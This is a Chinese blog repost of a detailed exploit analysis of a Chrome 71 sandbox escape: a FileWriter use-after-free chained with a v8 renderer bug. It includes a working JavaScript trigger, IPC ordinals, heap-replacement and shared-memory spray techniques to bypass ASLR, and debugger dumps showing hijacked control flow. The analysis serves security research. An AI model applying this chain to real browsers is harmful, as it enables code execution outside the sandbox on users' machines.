chrome怎么调用硬件_利用ASLR薄弱点:Chrome沙箱逃逸漏洞分析

455fda1ef40552748e5d65b01f956150.gif

54149da052deb2718df1225a67aa0efd.png概述

我们在Chrome中,发现了一系列可能存在的沙箱逃逸漏洞。在此之后,我们认为可以将这些漏洞中的一个与渲染器存在的漏洞共同利用,形成一条完整的漏洞利用链,同时也能够让我们更好地理解现代Chrome漏洞利用所需的机制。考虑到全部可用的漏洞,最有可能被利用的是Issue 1755,这一Use-After-Free漏洞与经典的JavaScript引擎回调漏洞相似。目前看来,这是一个很好的候选者,因为攻击者对free’d对象的生命周期,以及随后使用对象的时间都具有高级别的控制。

针对关于Mojo IPC机制如何运作的细节,我们没有详细进行分析,在这里先提前向各位读者表示抱歉。在未来,我们会发表一些博客文章,更加详细地解释当前Chrome沙箱界面的接口,但实际上,其中有很多需要解释的内容。

在本文所涉及的分析过程中,我们使用的是官方修复此漏洞前的最新稳定版本,64位Windows版本Chrome 71.0.3578.98。

54149da052deb2718df1225a67aa0efd.png准备工作

我们在研究Chrome的Mojo IPC层时,注意到的最值得关注的事实之一,是它实际上可以从Chrome中的JavaScript进行IPC调用。将命令行标志“--enable-blink-features=MojoJS”传递给Chrome即可启用此功能。我们使用此功能,实现了一个Mojo Fuzzer,并借助该工具发现了一些漏洞并上报。

在了解这一特性之后,实现完整Chrome漏洞利用链的最简单方法,就是使用渲染器漏洞利用,在正在运行的渲染器中启用这些绑定,随后从JavaScript执行我们的权限提升。

54149da052deb2718df1225a67aa0efd.png渲染器漏洞利用

恰巧,_tsuro一直在致力于CVE-2019-5782的漏洞利用,这是由SOrryMybad发现的漏洞,并在天福杯上首次利用,其原因在于v8 typer中存在漏洞。我相信该漏洞的发现者将针对其详细信息发表文章,因此我把对细节的介绍过程留给他们。

该漏洞错误地估计了“arguments.length”的可能范围。然后,可以将该漏洞与JIT中的Bounds-Check-Elimination(BCE)传递一同利用。该漏洞的利用方法与其他typer漏洞非常相似,我们可以在“many_args.js”中找到漏洞。需要注意的是,在_tsuro发现该漏洞并提交后,v8研发团队已经删除了BCE优化,使得在typer中更难利用这些漏洞。

在这里,重要的是,我们需要有一个稳定的漏洞利用方式。为了启动沙箱转义,我们需要启用Mojo绑定。最简单的方法是重新加载主框架,这意味着,我们在损坏的状态下留下的任何对象,都将公平地参与到“垃圾收集”(Garbage Collection)机制的游戏当中。

54149da052deb2718df1225a67aa0efd.png分析浏览器进程

通过浏览Chrome源代码,我们可以看到Mojo绑定基于成员变量nabled_bindings_添加到RenderFrameImpl::DidCreateScriptContext中的JavaScript上下文中。因此,为了模仿命令行标志,我们可以使用读写操作,将该值设置为BINDINGS_POLICY_MOJO_WEB_UI,并强制为主框架创建新的ScriptContext,我们应该可以访问绑定。

要获取当前帧的RenderFrameImpl,这一过程有些痛苦。但是,通过跟随全局上下文对象的指针链,我们可以找到chrome_child.dll,并找到全局g_frame_map,它是一个从blink::Frame指针到RenderFrameImpl指针的映射。为了利用这一漏洞,我们假设此映射中只有一个条目。但如果要对其进行扩展,以找到最合适的一个,这一过程非常简单。在这里,我们可以轻松设置正确的标志,并重新加载页面,具体可以参见实现的“enable_mo.js”。

需要注意的是,Chrome会在构建时随机化IPC序列,因此除了启用绑定之外,我们还需要为每个要调用的IPC方法找到正确的序号。在我们所使用的反汇编程序中,可以几分钟之内解决问题。鉴于渲染器需要能够调用这些IPC方法,如果我们试图支持更多的Chrome构建,我们可以设计一个略微繁琐的混淆过程。但对于我们本文所使用的版本环境,下面的代码足以用来修改我们需要的JavaScript绑定。

var kBlob_GetInternalUUID_Name = 0x2538AE26;

var kBlobRegistry_Register_Name = 0x2158E98A;

var kBlobRegistry_RegisterFromStream_Name = 0x719E4F82;

var kFileSystemManager_Open_Name = 0x305E02BE;

var kFileSystemManager_CreateWriter_Name = 0x63B8D2A6;

var kFileWriter_Write_Name = 0x64D4FC1C;

54149da052deb2718df1225a67aa0efd.png漏洞分析

所以,我们可以从JavaScript访问IPC接口。那么,接下来该怎么办呢?

我们正在分析的漏洞,是FileSystem API的FileWriter接口的实现中存在的问题。下面是FileWriter接口的描述,这是特权浏览器进程向非特权渲染器进程提供的IPC端点,允许渲染器对特殊的沙箱文件系统通过代理执行文件写入操作:

// Interface provided to the renderer to let a renderer write data to a file.

interface FileWriter {

 // Write data from |blob| to the given |position| in the file being written

 // to. Returns whether the operation succeeded and if so how many bytes were

 // written.

 // TODO(mek): This might need some way of reporting progress events back to

 // the renderer.

 Write(uint64 position, Blob blob) => (mojo_base.mojom.FileError result,

                                       uint64 bytes_written);

 // Write data from |stream| to the given |position| in the file being written

 // to. Returns whether the operation succeeded and if so how many bytes were

 // written.

 // TODO(mek): This might need some way of reporting progress events back to

 // the renderer.

 WriteStream(uint64 position, handle stream) =>

       (mojo_base.mojom.FileError result, uint64 bytes_written);

 // Changes the length of the file to be |length|. If |length| is larger than

 // the current size of the file, the file will be extended, and the extended

 // part is filled with null bytes.

 Truncate(uint64 length) => (mojo_base.mojom.FileError result);

};

该漏洞存在于第一种方法Write的实现中。但是,在我们正确理解该漏洞之前,我们首先还需要了解FileWriter对象的生命周期。渲染器可以使用FileSystemManager接口中的一个方法来请求FileWriter实例:

// Interface provided by the browser to the renderer to carry out filesystem

// operations. All [Sync] methods should only be called synchronously on worker

// threads (and asynchronously otherwise).

interface FileSystemManager {

 // ...

 // Creates a writer for the given file at |file_path|.

 CreateWriter(url.mojom.Url file_path) =>

     (mojo_base.mojom.FileError result,

      blink.mojom.FileWriter? writer);

 // ...

};

该功能的实现可以在这里找到:

void FileSystemManagerImpl::CreateWriter(const GURL& file_path,

                                        CreateWriterCallback callback) {

 DCHECK_CURRENTLY_ON(BrowserThread::IO);

 FileSystemURL url(context_->CrackURL(file_path));

 base::Optional<:file::error> opt_error = ValidateFileSystemURL(url);

 if (opt_error) {

   std::move(callback).Run(opt_error.value(), nullptr);

   return;

 }

 if (!security_policy_->CanWriteFileSystemFile(process_id_, url)) {

   std::move(callback).Run(base::File::FILE_ERROR_SECURITY, nullptr);

   return;

 }

 blink::mojom::FileWriterPtr writer;

 mojo::MakeStrongBinding(std::make_unique<:filewriterimpl>(

                             url, context_->CreateFileSystemOperationRunner(),

                             blob_storage_context_->context()->AsWeakPtr()),

                         MakeRequest(&writer));

 std::move(callback).Run(base::File::FILE_OK, std::move(writer));

}

这里的含义是,如果一切正常,就将返回绑定到mojo::StrongBinding的std::unique_ptr<:filewriterimpl>。强绑定(Strong Binding)意味着对象的生命周期将绑定到Mojo接口指针的生命周期,这也就意味着连接的另一端可以控制对象的生命周期,以及storage::FileWriterImpl字段中的代码,这部分内容负责对与该绑定相关联的序列进行控制,可以关闭连接,也可以释放实例。

这为我们提供了blink::mojom::FileWriter Mojo接口的句柄。我们感兴趣的函数是Write方法,它有一个blink::mojom::Blob的句柄作为其一个参数。我们很快就能再次分析这一Blob接口。

考虑到上述情况,是时候看看易受攻击的函数了。

void FileWriterImpl::Write(uint64_t position,

                          blink::mojom::BlobPtr blob,

                          WriteCallback callback) {

 blob_context_->GetBlobDataFromBlobPtr(

     std::move(blob),

     base::BindOnce(&FileWriterImpl::DoWrite, base::Unretained(this),

                    std::move(callback), position));

}

现在,在这里的问题并不是很明显。但在Chrome代码库中,base::Unretained的实例明显不是正确的,这些实例通常需要我们进一步调查(将会创建一个未经检查的未知引用,详情请参阅Chrome文档(https://www.chromium.org/developers/coding-style/important-abstractions-and-data-structures))。所以,要保证这一代码的安全性,只能保证GetBlobDataFromBlobPtr始终同步调用回调。或者,销毁这一代码,可以确保永远不会调用回调。由于blob_context_与其权限不同,所以我们还需要查看GetBlobDataFromBlobPtr的实现,以及它使用回调的方式:

void BlobStorageContext::GetBlobDataFromBlobPtr(

   blink::mojom::BlobPtr blob,

   base::OnceCallback)> callback) {

 DCHECK(blob);

 blink::mojom::Blob* raw_blob = blob.get();

 raw_blob->GetInternalUUID(mojo::WrapCallbackWithDefaultInvokeIfNotRun(

     base::BindOnce(

         [](blink::mojom::BlobPtr, base::WeakPtr context,

            base::OnceCallback)> callback,

            const std::string& uuid) {

           if (!context || uuid.empty()) {

             std::move(callback).Run(nullptr);

             return;

           }

           std::move(callback).Run(context->GetBlobDataFromUUID(uuid));

         },

         std::move(blob), AsWeakPtr(), std::move(callback)),

     ""));

}

上面的代码在传递给它的Blob参数上,调用异步Mojo IPC方法GetInternalUUID,然后在回调中,当该方法返回时,使用返回的UUID来查找关联的Blob数据(GetBlobDataFromUUID),并调用回调参数,以此数据作为其中的参数。

我们可以看到,回调被传递给Blob接口公开的异步Mojo函数所返回的回调:

// This interface provides access to a blob in the blob system.

interface Blob {

 // Creates a copy of this Blob reference.

 Clone(Blob& blob);

 // Creates a reference to this Blob as a DataPipeGetter.

 AsDataPipeGetter(network.mojom.DataPipeGetter& data_pipe_getter);

 // Causes the entire contents of this blob to be written into the given data

 // pipe. An optional BlobReaderClient will be informed of the result of the

 // read operation.

 ReadAll(handle pipe, BlobReaderClient? client);

 // Causes a subrange of the contents of this blob to be written into the

 // given data pipe. If |length| is -1 (uint64_t max), the range's end is

 // unbounded so the entire contents are read starting at |offset|. An

 // optional BlobReaderClient will be informed of the result of the read

 // operation.

 ReadRange(uint64 offset, uint64 length, handle pipe,

           BlobReaderClient? client);

 // Reads the side-data (if any) associated with this blob. This is the same

 // data that would be passed to OnReceivedCachedMetadata if you were reading

 // this blob through a blob URL.

 ReadSideData() => (array? data);

 // This method is an implementation detail of the blob system. You should not

 // ever need to call it directly.

 // This returns the internal UUID of the blob, used by the blob system to

 // identify the blob.

 GetInternalUUID() => (string uuid);

};

这意味着,我们可以在渲染器进程中提供此Blob接口的实现,将该实现传递给FileWriter接口的Write方法,我们将在执行GetBlobDataFromBlobPtr期间从浏览器进程到渲染器进程进行回调,在此期间我们可以销毁FileWriter对象。无论这种回调如何,使用base::Unretained都是危险的,但是以这种方式进行安排,将会使之变得更加清晰。

54149da052deb2718df1225a67aa0efd.png步骤1:触发器

首先,我们需要实际到达漏洞。这里是我们使用的一个最小化触发器,利用我们此前启用的MojoJS绑定的JS。一个完整的示例将附加到Bugtracker条目,文件名为“trigger.js”。

async function trigger() {

 // we need to know the UUID for a valid Blob

 let blob_registry_ptr = new blink.mojom.BlobRegistryPtr();

 Mojo.bindInterface(blink.mojom.BlobRegistry.name,

                    mojo.makeRequest(blob_registry_ptr).handle, "process");

 let bytes_provider = new BytesProviderImpl();

 let bytes_provider_ptr = new blink.mojom.BytesProviderPtr();

 bytes_provider.binding.bind(mojo.makeRequest(bytes_provider_ptr));

 let blob_ptr = new blink.mojom.BlobPtr();

 let blob_req = mojo.makeRequest(blob_ptr);

 let data_element = new blink.mojom.DataElement();

 data_element.bytes = new blink.mojom.DataElementBytes();

 data_element.bytes.length = 1;

 data_element.bytes.embeddedData = [0];

 data_element.bytes.data = bytes_provider_ptr;

 await blob_registry_ptr.register(blob_req, 'aaaa', "text/html", "", [data_element]);

 // now we have a valid UUID, we can trigger the bug

 let file_system_manager_ptr = new blink.mojom.FileSystemManagerPtr();

 Mojo.bindInterface(blink.mojom.FileSystemManager.name,

                    mojo.makeRequest(file_system_manager_ptr).handle, "process");

 let host_url = new url.mojom.Url();

 host_url.url = window.location.href;

 let open_result = await file_system_manager_ptr.open(host_url, 0);

 let file_url = new url.mojom.Url();

 file_url.url = open_result.rootUrl.url + '/aaaa';

 let file_writer = (await file_system_manager_ptr.createWriter(file_url)).writer;

 function BlobImpl() {

   this.binding = new mojo.Binding(blink.mojom.Blob, this);

 }

 BlobImpl.prototype = {

   getInternalUUID: async (arg0) => {

     // here we free the FileWriterImpl in the callback

     create_writer_result.writer.ptr.reset();

     return {'uuid': 'aaaa'};

   }

 };

 let blob_impl = new BlobImpl();

 let blob_impl_ptr = new blink.mojom.BlobPtr();

 blob_impl.binding.bind(mojo.makeRequest(blob_impl_ptr));

 file_writer.write(0, blob_impl_ptr);

}

54149da052deb2718df1225a67aa0efd.png步骤2:替换

尽管最终可能没有多大用处,但是我通常喜欢用完全受攻击者控制的数据替换对象,来开始Use-After-Free的漏洞利用过程。尽管没有ASLR绕过或信息泄漏,因此我们不太可能对这个原语做任何有意义的事情,但是这一过程通常有助于我们理解所涉及对象周围的分配模式,并且这里给出了明确的崩溃信息,这对于证明漏洞的可利用性是非常有帮助的。

在我们所使用的Windows环境中,FileWriterImpl的大小为0x140字节。我最初直接考虑使用JavaScript Blob API创建分配,但这会导致大量相同大小的临时分配,会显著降低可靠性。在浏览器进程中,使用受控制数据分配受控制大小的更好方法,是使用BlobRegistry registerFromStream方法注册新的Blob,在初始调用registerFromStream期间将执行所有辅助分配。然后,我们可以通过将数据写入DataPipeProducerHandle的方式,来触发所需大小和内容的单个分配。

我们可以测试这一情况(参见trigger_replace.js),实际上,它确实利用一个包含完全受控制字节的缓冲区,可靠地替换了free'd对象,并以我们期望的方式实现了崩溃:

(1594.226c): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

chrome!storage::FileSystemOperationRunner::GetMetadata+0x33:

00007ffc`362a1a99 488b4908        mov     rcx,qword ptr [rcx+8] ds:23232323`2323232b=????????????????

0:002> r

rax=0000ce61f98b376e rbx=0000021b30eb4bd0 rcx=2323232323232323

rdx=0000021b30eb4bd0 rsi=0000005ae4ffe3e0 rdi=2323232323232323

rip=00007ffc362a1a99 rsp=0000005ae4ffe2f0 rbp=0000005ae4ffe468

r8=0000005ae4ffe35c  r9=0000005ae4ffe3e0 r10=0000021b30badbf0

r11=0000000000000000 r12=0000000000000000 r13=0000005ae4ffe470

r14=0000000000000001 r15=0000005ae4ffe3e8

iopl=0         nv up ei pl nz na pe nc

cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202

chrome!storage::FileSystemOperationRunner::GetMetadata+0x33:

00007ffc`362a1a99 488b4908        mov     rcx,qword ptr [rcx+8] ds:23232323`2323232b=????????????????

0:002> k

# Child-SP          RetAddr           Call Site

00 0000005a`e4ffe2f0 00007ffc`362a74ed chrome!storage::FileSystemOperationRunner::GetMetadata+0x33 01 0000005a`e4ffe3a0 00007ffc`362a7aef chrome!storage::FileWriterImpl::DoWrite+0xed

54149da052deb2718df1225a67aa0efd.png步骤3:信息泄漏

当我们需要能在其中放置有效指针时,控制free’d对象中的数据似乎并没有太多用处。因此,此时我们需要考虑如何使用free’d对象,并且应该考虑有哪些选项可以用于使用不同类型的对象来替换free’d对象。实质上,可以将Use-After-Free转换为类型混淆,这将对我们有所帮助。

在WinDBG中查看相同大小的对象,我们没有得到任何直接的答案。并且,因为从DoWrite调用的大多数方法都是非虚拟的,所以我们实际上需要相当大量的结构,才能替换掉正确的对象。

void FileWriterImpl::DoWrite(WriteCallback callback,

                            uint64_t position,

                            std::unique_ptr blob) {

 if (!blob) {

   std::move(callback).Run(base::File::FILE_ERROR_FAILED, 0);

   return;

 }

 // FileSystemOperationRunner assumes that positions passed to Write are always

 // valid, and will NOTREACHED() if that is not the case, so first check the

 // size of the file to make sure the position passed in from the renderer is

 // in fact valid.

 // Of course the file could still change between checking its size and the

 // write operation being started, but this is at least a lot better than the

 // old implementation where the renderer only checks against how big it thinks

 // the file currently is.

 operation_runner_->GetMetadata(

     url_, FileSystemOperation::GET_METADATA_FIELD_SIZE,

     base::BindRepeating(&FileWriterImpl::DoWriteWithFileInfo,

                         base::Unretained(this),

                         base::AdaptCallbackForRepeating(std::move(callback)),

                         position, base::Passed(std::move(blob))));

}

所以,我们将使用从free’d对象内部获取的this指针,对FileSystemOperationRunner::GetMetadata进行非虚拟调用:

OperationID FileSystemOperationRunner::GetMetadata(

   const FileSystemURL& url,

   int fields,

   GetMetadataCallback callback) {

 base::File::Error error = base::File::FILE_OK;

 std::unique_ptr operation = base::WrapUnique(

     file_system_context_->CreateFileSystemOperation(url, &error));

 ...

}

54149da052deb2718df1225a67aa0efd.png步骤4:信息泄漏(第2轮)

我们已经厌倦了长时间盯着调试器中的结构布局,因此现在是时候考虑一下替代方案了。Windows上的ASLR实现,意味着如果在多个进程中加载相同的库,它们将位于相同的基址。因此,渲染器中加载的任何库,都将加载到浏览器进程中的已知地址。

我们可以用FileSystemOperationRunner替换一些对象,将FileSystemContext指针排列为受控制的字符串数据。我们可以利用它来伪造backend_map_的第一个(开始)节点,并指向我们可以找到的其中一个模块的数据部分,并且正确排列,以便我们可以查找第一个条目。这只需要一组更小的约束:

ptr = getPtr(address)

getUint8(ptr + 0x19) == 0

getUint32(ptr + 0x20) == 0

obj = getPtr(ptr + 0x28)

vtable = getPtr(obj)

function = getPtr(vtable + 0x38)

遗憾的是,满足这些约束的地址集并没有真正产生任何有用的原语。

54149da052deb2718df1225a67aa0efd.png步骤5:ASLR绕过

此时,我们几乎要准备放弃了。但是,这时我们想起了与Issue 1642相关的一个奇怪现象,这是Mojo核心代码中的一个漏洞。特别是,当Mojo连接的接收端收到DataPipe*Dispatcher对象时,它将立即映射关联的共享内存段(映射发生在对InitializeNoLock的调用中)。

由于浏览器进程中没有内存或虚拟地址空间的限制,这表明事实上,如果我们可以使用共享内存映射简单地喷射浏览器的虚拟地址空间,我们可以完全绕过ASLR,而不会出现信息泄漏问题。需要注意的是,渲染器限制仍然存在,因此我们需要找到一种方法来执行此操作,并且不会超出渲染器的限制。在渲染器中运行本机代码相当简单,我们可以简单地将句柄复制到同一个共享内存页面,并重复发送它们,但是留在JavaScript中应该是一个不错的选项。

查看MojoJS绑定中MojoHandle接口的IDL,我们可以注意到,尽管我们无法克隆DataPipe句柄,但我们可以克隆SharedBuffer句柄。

interface MojoHandle {

  ...

  // TODO(alokp): Create MojoDataPipeProducerHandle and MojoDataPipeConsumerHandle,

  // subclasses of MojoHandle and move the following member functions.

  MojoWriteDataResult writeData(BufferSource buffer, optional MojoWriteDataOptions options);

 MojoReadDataResult queryData();

  MojoReadDataResult discardData(unsigned long numBytes, optional MojoDiscardDataOptions options);

  MojoReadDataResult readData(BufferSource buffer, optional MojoReadDataOptions options);

  // TODO(alokp): Create MojoSharedBufferHandle, a subclass of MojoHandle

  // and move the following member functions.

  MojoMapBufferResult mapBuffer(unsigned long offset, unsigned long numBytes);

  MojoCreateSharedBufferResult duplicateBufferHandle(optional MojoDuplicateBufferHandleOptions options);

};

遗憾的是,SharedBuffers在浏览器进程接口中的使用频率较低,并且在反序列化时不会自动映射,因此它对我们来说没有太大的帮助。但是,由于SharedBuffers和DataPipes都支持相同的操作系统级原语,我们仍然可以利用它来发挥一定作用。通过创建具有较小共享内存、相同数量的DataPipe,以及单个较大的SharedBuffer的克隆,我们可以使用任意读写,来交换备份缓冲区。

66c4a5e291375b8cbfbf7265eaaf4309.png

正如在上面的VMMap截图中所看到的那样,这是一种有效且快捷的方法。第一次测试中,我们进行了16TB的喷射,这有些夸张,但在现实中,大约只需3.5TB就足以得到可靠、可预测的地址。最后,我们有机会在现代64位Chrome的漏洞利用中,引用SkyLined发现的MS04-040漏洞利用。

rax=00000404040401e8 rbx=000001fdba193480 rcx=00000404040401e8

rdx=000001fdba193480 rsi=00000002f39fe97c rdi=00000404040400b0

rip=00007ffd87270258 rsp=00000002f39fe8c0 rbp=00000002f39fea88

r8=00000404040400b0  r9=00000002f39fe8e4 r10=00000404040401f0

r11=0000000000000000 r12=0000000000000000 r13=00000002f39fea90

r14=0000000000000001 r15=00000002f39fea08

iopl=0         nv up ei pl nz na po nc

cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206

chrome!storage::FileSystemContext::CreateFileSystemOperation+0x4c:

00007ffd`87270258 41ff5238        call    qword ptr [r10+38h] ds:00000404`04040228=4141414141414141

54149da052deb2718df1225a67aa0efd.png路线图

在最后,我们盘点一些我们需要的所有“重型机械”,其余的都只是具体实践的工程问题。以细节为导向,我们可以在Bugtracker中找到一个完整的、有效的漏洞利用程序,从而就应该能够识别处理漏洞的所有后续阶段的代码:

1. 渲染器中任意读写问题

(1) 启用MojoJS绑定

(2) 运行沙箱逃逸

2. 沙箱逃逸

(1) 渲染器中任意读写问题(再次利用)

(2) 在渲染器地址空间中,找到Pivots和渲染器地址空间中的ROP链

(3) 构建将要在浏览器地址空间中喷射的数据页面,其中包含伪FileSystemOperationRunner、FileSystemContext、FileSystemBackend对象

(4) 触发漏洞

(5) 将free'd FileWriterImpl替换为伪造的对象,该对象将使用我们的喷射内容作为FileSystemOperationRunner指针定位的地址

(6) 将我们在2(3)中构建的页面的约4TB副本喷射进入浏览器进程地址空间

(7) 在浏览器进程中从渲染器返回到FileWriterImpl::DoWrite,转到我们的ROP链和Payload

(8) 弹出计算器

(9) 清理,以便浏览器可以继续运行

54149da052deb2718df1225a67aa0efd.png总结

目前,我们已经能够在ASLR实现中利用其薄弱点来实现漏洞利用,而不再需要信息泄漏。

有两个关键的ASLR薄弱点,可以可靠地利用这个漏洞:

1. Windows上没有进行进程间随机化(Inter-Process Randomisation),这样导致可以在目标进程中定位有效的代码地址,而不会发送信息泄漏。同样,macOS和iOS上也存在这一问题。

2. Chrome浏览器进程中的地址空间使用没有进行限制,导致可以预测堆喷射中的有效数据地址。

如果没有这两个原语,那么对这一漏洞的利用将会变得更加困难,并且可能是漏洞利用不再可用(例如:需要继续寻找其他漏洞进行利用,或者Use-After-Free之后不能实现信息泄漏)。

27f3ce3423e4f46e571ee587f2d98191.png

4bf47d4adf171cdd0c8cedaa587fc78d.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值